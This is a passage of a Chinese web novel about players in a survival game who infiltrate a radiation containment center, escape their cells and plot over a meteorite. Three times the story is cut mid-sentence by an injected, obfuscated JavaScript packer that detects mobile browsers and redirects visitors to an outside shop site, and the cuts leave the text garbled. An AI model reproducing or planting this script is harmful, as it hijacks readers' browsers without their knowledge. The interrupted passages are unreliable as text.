的身份牌就会从优势变成劣势。因为任务的模糊性,很可能被两方队员都当成敌人。或者再冷血点,对于无法确认是否己方阵营的人,最划算的打法是当成人肉炸弹去换敌对阵营玩家的命,保底是个一换一不吃亏。如果后期验证 X 玩家非己方阵营,那就是损耗了对方两名玩家,赚大发。 江其深思来想去,最后得出一个结论:无论自己的阵营属于哪一方,最好都给时光一个错觉,让她以为他是站在她这一方的,这样,她才会帮他瞒下身份,让自己的 X 身份带来的利益最大化。 “哎,你干嘛去?没到饭点呢。”见江其深忽然起身,周照山擦头发的手一顿。 江其深随便套了件深蓝的夹克,戴上白色鸭舌帽,脑袋后面扎了一个小揪揪,“车里呆了几天骨头都锈了,出去走走……晚饭你自己去吃吧。” 随着一声关门,周照山喃喃:“奇怪……” 明明刚刚还一听吃饭就两眼放光,一转眼就不吃了? *** 赭石收容中心分为地上和地下两个部分,地上部分环城设置一层光线过滤网,即使是阳光暴晒的夏日中午,城内也像午夜一样,高悬空中的人造光源把三座主城区和十二座附属城区的建筑群照得一片惨白,城区内部没有公路,建筑通过连廊和电梯彼此连通,互相依附,外表看上去像一个庞大的城堡,挂满重叠黏连的白色蛛网。 地下部分主要存在于 A 城区,这一区域是收容中心核心工作区,聚集了全球最顶尖的研究人员和高级骑士,不分昼夜地对辐射源进行各项研究。而被当做实验对象的辐射物就收纳于地下三层,地下二层是监狱,如果没意外,时光他们就会被关押在这个地方。 江其深住的地方是 A 城区住宿街道 14 楼,要通过复杂的地形,避开在所有监控摄像头前往监狱,保底也要三四个小时。 晚饭是吃不上了,待会找个没人的地方去商城搞点自热火锅凑合吧。 *** 一片漆黑中,时光听见有声音从隔绝层的外边传来,她的双眼被蒙住,视力被剥夺,听力反而更加敏锐。 “陈哥,回来这么早啊……哎,这是什么?不是就一个收容物吗?” “这是劫车的乌鸦,辐射变异的等级很高,一起押过来了。” “嚯,看不出来……瞧着挺年轻的,居然是老资历的乌鸦了。” “收容官说她们跟了一路,没有援兵,不知道乌鸦总部又有什么新动作了。待会儿先关地下监狱里去,等审问完了再送负一层。” “得嘞,两个分开关?” “分远点儿。” 接着闷闷的磕撞声传来,好像自己所在的空间被整个抬了起来,送到某个车辆上,然后引擎发动的声音呼啸响起。大概是进入收容中心了。 终于进入收容中心了。 时光轻呼出一口气,唇角微微勾起。 虽然和计划中不大一样,但还是进了收容中心,也算是达成了她本来的目的。一车人专程互送,深入赭石内部,免了重重关卡查验,一步到位,省的她费心思。 车辆很快停止,又是搬运的晃动,接着人声窸窸窣窣,脚步声交错,随着一声卡槽的“咯噔 ”声,脚步和人声慢慢走远,周遭陷入漫长的寂静。 时光被紧紧缚住的双手在绳下一张,一只蝴蝶刀凭空出现在手中。 S 级道具:尖利的刀,可以穿透世上一切物体,是她在一个 S 级副本爆到的装备,这东西很好用,正如它的简介,什么都能砍断,利刃始终锋利。 她翻转手腕,刀刃抵住蓝色绳网,向外一挣,束缚轻松解开。一摸腰侧——一片空荡荡,被抓时双枪没来得及放进游戏背包,被搜走了。 时光撇一下嘴,不以为意地轻声道一句:“回收道具。” 下一秒,双枪连同枪套重现出现在她腰侧。这就是绑定道具的方便之处,道具一旦绑定,随时可以回收,永远不会丢失。 时光上下打量四周,这是一个密闭的空间,类似铁皮的材质围起来的空间,大概能容纳两三个人的大小,没有灯光,唯一的光源来自于面前一道长扁型的玻璃窗,窗子很窄,长宽都是刚好容纳一双眼睛的长度。 时光扒着窗子向外瞅,只见窗子对面是密密麻麻摞起的“集装箱”,每个箱子都在同样位置开了一个窄长的窗。 她握着刀,刀尖丝滑没入墙壁,顺着割下,切铁皮仿佛切奶酪一般,很快割了一个人高的口子。时光顺着口子钻出来,一阵阴冷的风吹来,冻的她打了个哆嗦。 “好冷,这里的冷气不要钱吗?”远处有脚步声传来,伴随急切的“有人越狱”“快拉警报”“是那个乌鸦的囚室!”一类的催促声,时光不慌不忙,从背包里摸出小熊发卡,别在脑袋上。 “喂新来的!看见越狱的乌鸦了吗?!” 时光一秒入戏,一脸惶恐:“没、没有,我刚来就这样……” 几个骑士一把推开她,看着破了个大洞的“集装箱”,面色铁青。 为首一人闻问道:“谁给她搜的身?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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小熊发卡的易容效果加持下,守卫的骑士连通行证也没看,顺利放行,还不忘跟时光吐槽:“你们真能捅娄子,关押骑士都不搜身吗?这个月奖金又没了……” 搜身也搜不出来背包里的道具啊。时光吐吐舌头,轻巧地从一众为了寻找她而焦头烂额的骑士身边穿过。 “负三层甲区……24 位,24 位在哪呢……” 或许是方游一没有动作,外边虽然守卫重重,里边却没什么人。收容物储存区和监狱的格局不大一样,封存的箱子有大有小,形状各异,高高低低摞在一起,远远看上去,像堆码整齐的俄罗斯方块,可以一键消除。 “人总不能和物品摞一起吧……哎,找到了。” 红色的霓虹灯管亮出纤细的“24”字样,钉在一个方方正正的蓝色封存箱上,时光拿出蝴蝶刀对着箱子,开罐头一样剖开一个一人高的口子。 “咦?”罐头里传来一声疑问。 时光往里头走两步,看见呗裹成粽子在地上滚来滚去的方游一。 “……” 方游一惊讶地睁大眼:“你怎么进来的?” “就这么进来的,”时光把他身上的绳网割断,就地盘腿一坐,“来聊聊,你的任务是什么?” “等一等。” 方游一翻身坐起来,掐了一个幻术,一层朦胧的光笼罩上摄像头,监视器里的画面飞速倒退,定格在时光到来之前,警报一片死寂。 方游一:“现在可以聊了。” …… 江其深到地下的时候,地下二层因为越狱而戒备严密,无关人员一律不准靠近,于是他换了个目标,依靠骑士的身份,借口检查转运的收容物,成功混进地下三层。 收容物安置在甲区 24 位,江其深没来过地下三层,不清楚这里的区域划分,但很快,他发现不需要自己认路,一股熟悉的气味飘飘渺渺、若有若无,江其深鼻尖耸动,循着气味找到一个被撬开了铁皮的“罐头”,红色霓虹灯标注的 24 歪歪斜斜挂在铁皮旁。 江其深:“……” “可能你们做障眼法了,但我还是得提醒一下,这里不是无人区,外头十几个守卫站岗呢——你们这么光明正大吃火锅合适吗?” 收容箱里,席地而坐的两人面前端着一口鸳鸯锅,咕嘟咕嘟冒着泡,身周摞满盘子,腾腾白烟袅袅上飘,浓郁的香味要把人舌头勾掉。方游一吃的一脑门汗,正端着盘子往辣锅里下小油条,时光把外套系在腰上,露出里边颜色跳脱的机能短袖,捞了一块丸子,往油碟里蘸……等会儿,她油碟里放的什么?酸奶? 时光在江其深震惊的目光中,把酸奶蘸丸子往嘴里一送,腮帮子撑得鼓鼓的,教辣油浸得红亮亮的筷子冲他一指,笑得十分嚣张。 “来的真巧,我们正在等你呢。” 20.第 20 章 “等我?”江其深狐疑,“菜买多了吃不完?” 方游一警惕:“不会吃不完的。” 江其深:“……” 时光拍拍身侧示意他坐过来,江其深坐到两人中间。距离拉近,他留意到,时光的短袖下露出大片大片羽翼般的疤痕,这在上个副本还没有。 伤痕的形状看着眼熟,好像田卓佳的右颊和胳膊上也有类似的痕迹。 他面前有一双准备好的空碗筷,“真是在等我?” 时光往酸奶蘸碟里加了点辣椒油,红灼灼一层浮在酸奶上,看得江其深眉头深皱,他刚想开口说点什么,被时光漫不经心打断,“是啊,等你来向我们交投名状。” 江其深拿筷子的手微微一顿,“什么投名状?” 时光笑嘻嘻的,好想要看他再演多久:“你是 x 玩家吧?现在还没摸清楚自己的立场?” 方游一震惊:“什么?你不是 npc?你骗我?” 时光也很震惊:“什么?他都能骗到你?” “……”江其深无奈:“你是怎么知道的?” “因为我们三个,你一个都没杀,”时光轻飘飘道,“如果你立场明确,应该优先帮助队友给对立阵营减员。但你却利用第三方势力将我们分别关押,可见,你是立场不明的 x 玩家。所以,才会希望在自己去确定阵营前,双方最好都不要出事。” 江其深只好承认:“是。” “你很谨慎,但这份谨慎没有必要,如果我是你,我会把所有人都杀了,”时光轻描淡写,“只要我能活到最后,我的队伍就一定会赢。” 江其深心脏猛的一跳,他记得时光游戏作风并不激进,上一场游戏里明明可以利用规则漏洞屠玩,还是选择留下他和章佟的命,为什么会突然这么说? 时光见他不说话,似是没明白,又道,“你是 X 玩家,可以随便撒谎,我们都没办法核实,也无法通过核对任务来确保你的立场,所以,对于我们这样正常立场的玩家来说,处理 X 玩家收益最大的打法是什么你知道吗?” 这样的问句已经昭告着答案不会如他所意,江其深的心一点一点沉到谷底,他沉静地拿起筷子夹菜——事已至此,能吃一口是一口吧:“是什么?” 时光捞了一勺羊肉,搁在碗里,不紧不慢,说出口的每个字都冷静到极致,“我们对 X 玩家的最优打法,就是让 X 玩家和敌对玩家一起死亡。这对于普通玩家来说才是最保险,永远不用担心 X 玩家反水的稳妥打法。只要你自杀式袭击田卓佳,最差的情况,你的确是我们阵营,那也是个一换一,不亏。如果你是田卓佳一方的,那就是对方损耗两名队友,血赚。” 江其深心下一冷。他的游戏经验还是太少,当时光点出他 X 玩家身份时,他想到自己藏无可藏,只能交牌,完全没想到时光已经算到要如何处理他这一步了。 “你说的的确没错,这是于你而言的最优打法,”江其深夹了一筷子玉米段,水润清甜,“但是我为什么要配合你呢?” “就像你说的,我还不知道自己的立场,为什么要去杀田卓佳?如果你要对我动手,我虽没有把握能一定杀了你,但也有底牌能重创你们两个。你们确定要为了处理我一个 X 玩家,还有可能是你们队友的 X 玩家——牺牲这么大吗?” 这一句也是到时光软肋上了。X 牌的恶心之处就在此,杀,要掂量掂量值不值,不杀,那就是个定时炸弹,不知道会炸死谁。 江其深见她犹豫,便知道自己吓唬人有了成效。 时光是知道他新手开局进 A 级副本的,有这个胆量,怎么也得有几件傍身道具或者技能吧?威胁她同归于尽,或许不只是说说,是真有底牌。最后要打完了发现真是同一立场才要命,敌人还没动手,自己先捅自己几刀,不是搞笑呢? 所以和 X 玩家动手,也是非常不明智的举动。最好的情况,把 x 玩家杀了,且是对方阵营,也不过是给对方减员一名,无利于完成游戏任务。 江其深趁热打铁,又道:“但是留着我,对你而言,有一个好处。” “什么?” “一场游戏里,不会只有一个 X 玩家吧?”江其深笑起来,“六名玩家,如果只设置一个 X 牌,只需要用排除法就可以猜出我的立场了,如果我是系统,当然要两张 X 牌,游戏才好玩。” “……”方游一听的咬住筷子,一时忘了扒饭,木木愣愣地看他。 “有道理,”时光给蘸碟里续酸奶,江其深的额头绷出青筋,试图阻止,“哎……” 时光恍若未闻,加满酸奶,夹了一筷子涮得糯糯的土豆片蘸进去,继续道,“所以你的意思是,如果杀了你,剩下的一名 X 玩家更加无所顾忌,没有任何人能戳穿他的谎言。但如果留住你,至少你们之间能形成牵制。” “最重要的是,你知道我的底牌,我的话骗不过你。” 这话不是糊弄时光,作为一个刚参与第二场游戏的纯新手,江其深对游戏的机制了解的还不够深,游戏经验也远不如时光这样的 S 级玩家,何况他本人也不擅长撒谎,说假话大概率会被时光识破。 时光想了想,下巴一点,算是接受了这个理由:,特许江其深可以夹肉,在方游一灼灼目光中,江其深夹走了一筷子肉片,时光又问:“你下一步打算做什么?” “找另一个 X 玩家吧,”江其深道,“还有两个玩家没有出现,说不好什么时候跳出来搅局。” “那个不用急,游戏一定会发生点什么,让玩家有机会聚集的。”时光往锅里续了半锅汤,“否则玩家还没碰面,游戏就结束了。” 发生点什么? 江其深想到上个副本的强制集会环节,一到晚上九点,无论玩家身处何方,都会强行刷新到晚宴餐厅。但是这个副本开始一周了,并未发生那种强制聚集的事件。 这一次,游戏会通过什么方式让玩家聚集? “说起来,你进副本一周了,就没发生点什么吗?” 江其深不明所以:“发生什么?” “X 玩家终归要认出自己的立场的,就像游戏终归要让玩家聚集。游戏会通过各种方式提醒你、暗示你,让你看清自己应该站在谁那边。” “可我现在都不知道你们的立场是什么,”江其深有点气馁,自暴自弃地加了一大筷子年糕,狠狠蘸上麻酱,“我连你们的任务内容都不知道,也不知道你们之间的冲突在哪。别提站队了……” 时光愣了一下,哈哈大笑,“你押了他一路,连任务也没套出来?” “他跟我装 npc,”方游一抽空从一碟一碟的肉山里抬起头,惜字如金,“我跟 npc 有什么好说的。” 江其深:“……”早知道就不装了。 “反正你早晚也是要知道的,可以和你透露一点儿,”时光道,“和辐射陨石有关。” “辐射陨石?” “如果我猜的没错,我们双方的第一个矛盾点,应该是陨石的存与毁。” 这时,方游一提出不同意见,“田卓佳想带走我,我和辐射陨石没有关联,她们队的任务可能不止一个达成方式。” 时光想了想,"我想想,聚集收容物有什么效果……" “高辐射。辐射有很多作用,在乌鸦眼里相当于宝贵的能源。”江其深忽然插话,他扭头对方游一道,“你是高危辐射物,辐射等级仅次于辐射陨石。这么倒推,很可能他们的任务是需要利用高强度的辐射来完成什么事……那就只有两个选择,一个是劫持你,那就需要和你正面对抗。一个是进入收容中心找辐射陨石。” “如果我是游戏系统,我也会这么设计。只有这样才能保证玩家双方一定会发生冲突。” 时光颇为赞同,她甚至有些欣赏江其深。不是所有新手玩家都会冷静客观地站在游戏设计者的角度思考问题,很多玩家玩了几年游戏还是浑浑噩噩,纯靠运气和道具通关,江其深具有大部分玩家都不具备的潜质,且成长速度非常快,想必不久就可以在 S 级玩家排行榜里看见他了。 见时光认可他的推测,江其深有点不好意思地笑了,他这么说,可不是好心帮时光,而是帮助自己正视野。 “那么依次反推,你们的任务一定和他们正相反,需要消灭高辐射的物品,我猜……或许是摧毁辐射陨石?” 忽然陷入一片寂静,只听到火锅沸腾的咕嘟咕嘟声,方游一的筷子也停了,暗色的眼睛停在阴影中,幽幽瞳孔悄无声息地锁住了他。 看来猜对了,江其深心里道。但这个时候不能笑出来,不然可能要挨揍。 “啪嗒”一声,时光搁下筷子,伸个懒腰,揉揉吃饱的肚子,无所顾忌地说,“是啊,我们准备吃饱了就去干活,你可得快点看清楚自己的立场……不然等游戏结束,就来不及了。” 就像她不能真的杀江其深一样,江其深也不能真的阻挠她做任务。这一点上,他们的顾虑一模一样。 江其深苦笑:“你说得容易,这么短的时间我要怎么判断啊。” 难道这次就只能靠运气了?苦思冥想着,他忍不住抓抓胳膊. 润肤乳好像没用啊……皮肤越来越痒了。 *** “吕博士,这是新抵达基地的转运官的血样。” 戚明推开研究室大门,门内站着一名头发花白的老者,眯着眼睛在桌前翻着数据表,老人闻言抬起头,她苍老的目光掠过戚明,定在他手中的血样上。 “天晴,把我的眼镜拿来。” 何天晴从抽屉里拿出一副眼镜,“博士,血样化验交给我不就好了,您还需要自己测呀?” 吕博士接过戚明手里的血样,戴上眼镜,“这是运送 227 号收容物的转运官,我得亲自给他们做检测才放心。” 天晴大吃一惊,“227 号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毫升,”戚明铁面无情,“还有别的项目组也在嗷嗷待哺。” 何晴天欢天喜地:“50 也好!50 也行!师兄万岁!” 就在何晴天兴高采烈的欢呼声里,培养皿中的血样缓慢发生着变化。 两份分别写着【周照山】和【江其深】的血样,在灯光的照射下,像一个吹气的气球,中心缓慢鼓起来,四周滋滋作响,仿佛烧开了一样,鼓起的部分越攀越高。 何晴天登时屏住呼吸,轻手轻脚靠近,“这是……” 注视中,血样一步步垒起,顶开培养皿的盖子,最终结成血色小山一样的晶体,默然不动。 “这两个人……辐射变异了?”戚明的声音有些嘶哑。 众所周知,骑士和乌鸦是辐射的两个进化方向,乌鸦可以通过辐射获得变异,骑士只能获得一定程度的免疫。但这两个骑士突破了人们的认知,居然在往乌鸦的方向转变! “为什么会这样?!”何天晴震惊,“难道是因为 227 号?” “227号不愧是高危辐射物,连最出色的收容官都无法免疫他的辐射,甚至在押送途中被影响到发生变异,看来,你需要取的不止那两个乌鸦的血了,”吕博士对戚明道,“我们多了两个很有价值的研究对象。” *** 从地下三层出来,江其深在地下二层入口处停了一会儿。 这里依旧戒备森严,骑士想一群无头苍蝇,忙忙碌碌,进进出出。 江其深想再去找田卓佳聊会儿,说不定能套点有用的信息,但是以收容中心的角度来看,一个乌鸦越狱,肯定会敲响警钟,会对剩下那个乌鸦严防死守,自己未必能找到机会和她单独聊天。 要放弃吗?可时间不够浪费的…… 犹豫着,走廊尽头走来一个人影,与江其深擦肩而过,隔着一段距离,江其深听到他和守卫说“提取乌鸦血样”这几个字,忽然来了主意。 他稍稍等了一会儿,待男人进去后。掐准时间,立刻走到守卫面前,一副气喘吁吁的样子:“哎他进去了?怎么没等我……我来一起给那个乌鸦采血!” 守卫想回头去叫男人,发现早没了踪影,犹豫几秒,见他确实身穿骑士制服,不似作假,也放了行。 江其深快步跟上。时光已经有了动作,他不相信田卓佳会乖乖被绑在这里,她会通过什么方式来找队友? 有了刚刚的教训,这次谎话要编圆一点,争取让她相信自己是她队友…… 远远跟上男人的背影,江其深放慢脚步,在他拐弯的同时闪身一藏。 不要被发现了…………可恶,手臂怎么这么痒! 他猛地撸起袖子,一片红到触目惊心的皮肤映入眼帘,发痒的皮肤被挠到溃烂,蛇蜕般蜕掉一层表皮,其下新生的皮肤上,纵横交错着羽毛状的瘢痕。 21.第 21 章 江其深愣了一下,胳膊看上去血肉模糊,但却不怎么疼,他甚至以为自己看错了,把蜕了一半的皮揭起来,又按回去,大脑短暂宕机几秒。 难道我要尸变了? 没等他大脑转过弯来,远去的脚步声停住。他紧忙跟上,最后隔着一条通道,不能再靠近,于是拿出还剩一只眼睛一只耳朵的木偶人。 【使用道具:木偶人 使用次数:第二次 嘻嘻,你也在期待使用三次会发生什么是吗?】 什么诡异玩意儿,用完这次就把你扔了! 小木偶人放在地上,拧紧发条,迈开小腿鬼鬼祟祟地往对面跑去。 “囚犯姓名……田卓佳?” 远处的对话声音清晰地从耳边传来。骂归骂,这道具真挺好用,就像在自己耳边说话一样。 田卓佳:“你是谁?” 戚明笑了:“你不是在找我么?还问我是谁?” 田卓佳微微一怔,转过脸来,认真打量眼前的人:“你就是我队友?” *** 对于田卓佳来说,被骑士抓捕压根算不得什么威胁,她一被关进监狱,就通过换位技能在没有任何人察觉的情况下逃离了地下二层,但是对当下的她来说,逃出去,不是主要当前的目的。 她需要尽快找到自己的队友,抢在对手之前完成游戏任务。 可要怎么才能在人海茫茫里找到队友? 田卓佳思来想去,在玩家身份已经暴露的情况下,继续伪装没有任何意义。这个时候,最好的选择就是将自己作为旗帜亮出去,让队友可以认出自己,迅速聚集。 所以,离开监狱后,她做了两件事。 第一件事,她催眠 npc 问出收容中心的食堂位置,先去往每一层的食堂。 因为食物资源珍贵,每个人只有额定的配量,食堂在饭点就会汇聚这一层所有骑士,是人流量最大的地方。田卓佳用只有玩家才能看见的荧光涂料道具在每一层食堂的打饭窗口上写上“对方玩家已经碰面,我方进度落后,速来监狱 17 号找我”的字样。 第二件事,是给时光和方游一找点麻烦。 给敌人制造麻烦就是给自己制造方便,田卓佳不辞辛劳地帮骑士们检查了一遍监控中心的监控设备,顺手修复了骑士们没察觉到的“故障”,然后回到自己的牢房。 “没想到你来的这么快,我本来都准备好在基地中心以外继续撒网捞人了。”田卓佳道。 “游戏已经进行一周了,你们迟迟没动静,我也不能坐以待毙,”戚明道,“先核对身份吧,你的游戏任务是什么?” “一起写?” “行。” 江其深好奇写了什么,趴在地上悄咪咪地从拐角处探出一只眼睛。 啥也看不见,两人都在牢房里,道路宽阔寂静,连影子也看不着。 江其深默默缩回脑袋,耳边传来纸笔的刷刷声,过了一会儿,好像是交换书写的内容了,田卓佳语气明显放松,“我们是同一个任务。” 戚明道:“难道这个副本里,一个阵营的玩家都是同一个任务?” 田卓佳摇摇头:“不知道,但我总觉得没这么简单。” 戚明也沉默,又问:“对方玩家是哪些人?” “227 号收容物,是个白头发的男的,还有一个是和我一起被关起来的乌鸦,名字叫时光,粉头发的女的,你一见到就能认出来,两个人的特征都很明显,很好认。” 戚明皱眉:“也只有两个?” 这个“也”字微微刺痛田卓佳敏感的神经,她隐约知感觉到点什么,灵感如闪电稍纵即逝,难以捕捉,只好放弃,转而道:“总之,只要我们率先完成任务就可以了吧?” 戚明点头,拿出抽血装备,给针管安上针头,“我看资料上说,你的变异程度达到了二级?” “对,”田卓佳大方承认,“但是游戏设定里,我因为体质原因,寻常辐射物难以引发我的变异,所以我本想抢走227 号,借他的高辐射特质完成最后的变异进化……没想到 227 收容物居然玩家,还是对立阵营的……差点把我自己送进去。” 戚明装好针管,推一下眼镜,冷静道:“那我们目前能用来完成任务的只有你了,我是骑士体质,免疫辐射,无法变异。还得靠你。” 江其深了然,他知道乌鸦的辐射变异分为三个阶段,田卓佳只要再成功变异一次,就可以完成终极辐射变异。 难道这就是他们的游戏任务? “看来只能这样了,你这是要做什么?”田卓佳盯住他手里的针管。 “抽血,”戚明面无表情,“虽然这里是收容中心,但是像 227 号那种已经完成终极变异的高阶辐射物,全球只怕也找不到第二个。如果你需要这个强度的辐射才能变异的话……我们只能找辐射陨石了。” 辐射陨石。引发这场全球性灾难的始作俑者,一切灾难的源头。赭石收容中心就建立在辐射陨石之上,占据着个世界最大的秘密。 “骑士不是看那东西看得像眼珠子似的么?你知道藏在哪?”田卓佳把脸别过去不看扎针。 “我说了,这一周,我可没有坐以待毙,”戚明抽好血,给她贴了块胶布,把工具收起来,“吕博士有收容中心的最高权限,她知道陨石到底藏在哪,可以自由进出中心的任何一个地方,等我去给偷过来就行了。” “需要用到血吗?” “什么?这个?不是,”戚明收好血样,“这是贿赂用的,制造一个偷权限的机会。” 田卓佳没听懂,但是戚明看起来胸有成竹,算了,他知道怎么做就行。 “那我就等你的好消息了……我们还等剩下那个队友吗?” “不用等了。”声音从门口传来,戚明和田卓佳心里蓦地一惊,双双抬头望去,只见门口站着一个十分年轻的男孩,模样约十七八岁,戴着白色鸭舌帽,虽然帽檐投下的阴影遮住他半边面容,也能看出他长相清俊,是一眼就能记住的类型。 江其深在二人的目光中摘下帽子,先自报姓名:“江其深。我来的不算晚吧?” 田卓佳和戚明对视一眼,开口道:“不晚,你来的刚好。” 江其深笑了起来,听见戚明又道:“先报你的游戏任务吧。” 此话一出,江其深感觉周遭的空气都沉寂下来。 他承认这一步走的有点冒险,但是他从田卓佳和戚明的对话里得到了很多信息——戚明是看见田卓佳随机散播出去的信息找来的,这意味着,他以队伍第三人的身份出现在他们面前,也不会招惹怀疑。更何况,他们不知道副本里存在 X 玩家,正是浑水摸鱼的好机会,值得一赌。 “完成终极辐射变异。”江其深听见自己的心脏剧烈跳动,他祈祷对面两人听不见,平静道,“但是这对我来讲有点困难,我不是乌鸦。你们谁是乌鸦?” 话语一出,二人短暂寂静了一秒,江其深心慌地想掉头就跑,硬逼着自己镇定自若地站在原地,等来田卓佳一个点头。 “我是,”田卓佳道,“我们正说到这个呢。” 猜对了。江其深不被察觉地松一口气。 就在这时,戚明忽然想起什么:“江其深?你就是押送 227 号收容物的收容官?” 江其深刚放下的心又提起来:“是的。” 戚明把收起的抽血装备重新拿出来:“那我要恭喜你了。你也有终极变异的机会,你和你的搭档被 227 号收容物辐射,血液样本检测出变异反应,你们应该是为数不多的,从骑士转化为乌鸦的研究样本……给我抽点血,等着拿去做研究呢。” “你是不是入戏太深了?”江其深挣扎,“没必要吧?你真抽啊?!” “就 400 毫升,你别动,很快就抽完了。“ 戚明几下抓住他,把他袖子往上一撸,露出血痂下的羽毛瘢痕,田卓佳眉梢一跳,江其深迅速抽回手:“不是,大哥,等会儿……哎哎哎怎么还强行抽呢!” 戚明熟练地拔出针头,收起血样:“行了,我一会儿回实验室偷权限,需要一个人帮我,你们两个谁来?” 江其深和田卓佳互相看一眼,江其深大脑飞速运转,抢先开口:“要不我去?你暴露过了,容易牵扯出戚明。” 田卓佳缓缓点头:“行,那我就在这儿等你们的消息。” “不,”江其深紧接着道,“有一件事需要你去做。” *** 谈完事情,江其深和戚明从监狱里出来。监狱外还是一副紧张戒备的样子,看样子还没找到时光。 江其深有意打探,和电梯口守备的骑士闲话道:“你们要站岗到什么时候?还没抓到逃犯吗?” 戚明目光落在电梯的数字显示屏上,一动不动。 那个骑士叹一口气:“没呢,才发现监控也被做手脚了,逃犯压根没出去,就在负三层呢,可等我们到的时候,她把 227 号一起带走了,现在队长要扩大搜查范围,进哇估计是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539600|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别想睡了……” 时光她们逃出去了。江其深心情有点复杂,他也不知道自己该不该高兴,如果可以,他不想和时光为敌,怎么说也是曾经合作过的……算是半个朋友。 进了电梯,戚明按下 78 层的按钮:“你这种变异的骑士现在也是重点监视对象,待会儿碰见谁都不要报出真名。” “知道了。” 电梯门缓缓合拢,江其深的声音随之消弭。与此同时,一旁的另一座电梯缓缓打开,从中走出一个健步如飞的男人,与关拢的电梯门擦肩而过。 “17 号监狱在哪边?” 守卫听见问话,摆摆手:“监狱戒严,闲杂人等不能进。” 问话的人停在门口,望向警戒线的另一端。 *** “你打算怎么偷权限?”狭窄的电梯间,江其深问道。 戚明看了他一眼,收回视线,平静道:“实验室的吕博士有基地最高权限,可以调取任何资讯。而且拿到她的 ID 卡,还可以在收容中心畅通无阻。” 江其深感叹:“这么方便,我怎么帮你?” “我一会儿去把你们俩的血样送到实验室,以吕博士的性格,今天多半会加班做研究。我负责在实验室拖住她,你去数据中心偷她的权限密码。” 江其深没想到戚明会让自己去偷权限,这正中他下怀。 他假意加入他们,本也就是为了套出陨石的下落。就像时光说的,副本不可能让 X 玩家一直神秘下去,他的立场迟早会揭晓,为了能在那个时候占据优势,现在掌握的信息越多越好。他自然想知道作为风波中心的辐射陨石的下落。 至于这个权限,当然也是掌握在自己手里才是最好的。 “行,”江其深当即答应,“按你说的做就是了。” “现在收容中心的骑士都被时光吸引去注意力,数据中心的防备应该会较平常松动许多,我有道具可以记忆吕博士的生物特征,你用道具伪装成吕博士,重置权限密码。我会在实验室配合你完成重置。等你查出陨石的位置后,直接去找田卓佳。到时候如果还没被发现,我会想办法和你们汇合。” 说话间,78 层到了,电梯门一打开,一股冷冽的试剂水的味道隐隐传来,走廊地面光可鉴人,冷白的灯管闪烁几下,江其深被冻得一哆嗦。 戚明走出电梯,道:“你等我会儿。”隔了大约十几分钟,又从实验室出来,递给他一张没拆封的面膜。 “这是?” “道具,已经导入了吕博士的生物数据,敷上你就是吕博士。有时效的,谨慎点用,就这一个,用完就没了。” “知道了,那你多保重。”江其深接过面膜,随手按下数据中心的 12 层,戚明笑了笑道:“这话该我对你说。” 事情顺利的超乎江其深的想象,好像有些太顺利了。江其深默数下降的电梯层数,却在 15 层时,电梯突然停住。 “?”江其深立刻敷上面膜,在电梯门打开的同时,门外的人向内扫视一眼,笑道:“吕博士,这么晚了,还没休息?” 此时站在电梯里的是一名个子不高却格外有气势的老年女性,一头银白头发一丝不苟盘在脑后,面容慈祥之外,好像还有点紧张, 她笑着开口:“是啊,新的血液样本送到了,要连夜检测,陈队长,你也没休息?” 陈渠叹一口气:“监狱那帮人办事不力,叫一个乌鸦逃出去了,那是我当初带队捉拿的囚犯,这不又被叫出来抓人……” “真是辛苦。”江其深礼貌性的客套,他当然认识陈渠,当初转送时光她们的时候,就是他亲自和陈渠进行的交接,不过现在陈渠肯定认不出来他。 过了几秒,江其深好似反应过来:“陈队长到几楼?” 陈渠背对着他,这个角度看不见他面上表情,只能听见声音:“12 层。” 这么巧?江其深心里涌上不妙的预感,他继续问道:“乌鸦逃到数据中心了吗?陈队长,就你一个人去抓乌鸦?” 陈渠没有回头,也没有说话,江其深心里的不妙越来越强烈,他又试探地喊了一声,“陈队长?” “吕博士不叫我陈队长,”陈渠忽然开口,每个字都好像要把江其深砸到地底,“她只在乎实验室的研究人员,对我们这些跑外勤的,连姓氏都不会记得。” 四面镜子的电梯间,白炽灯把江其深的脸色映得惨白,他通过镜子的反照,看见陈渠缓缓勾起唇角:“你是玩家吧?”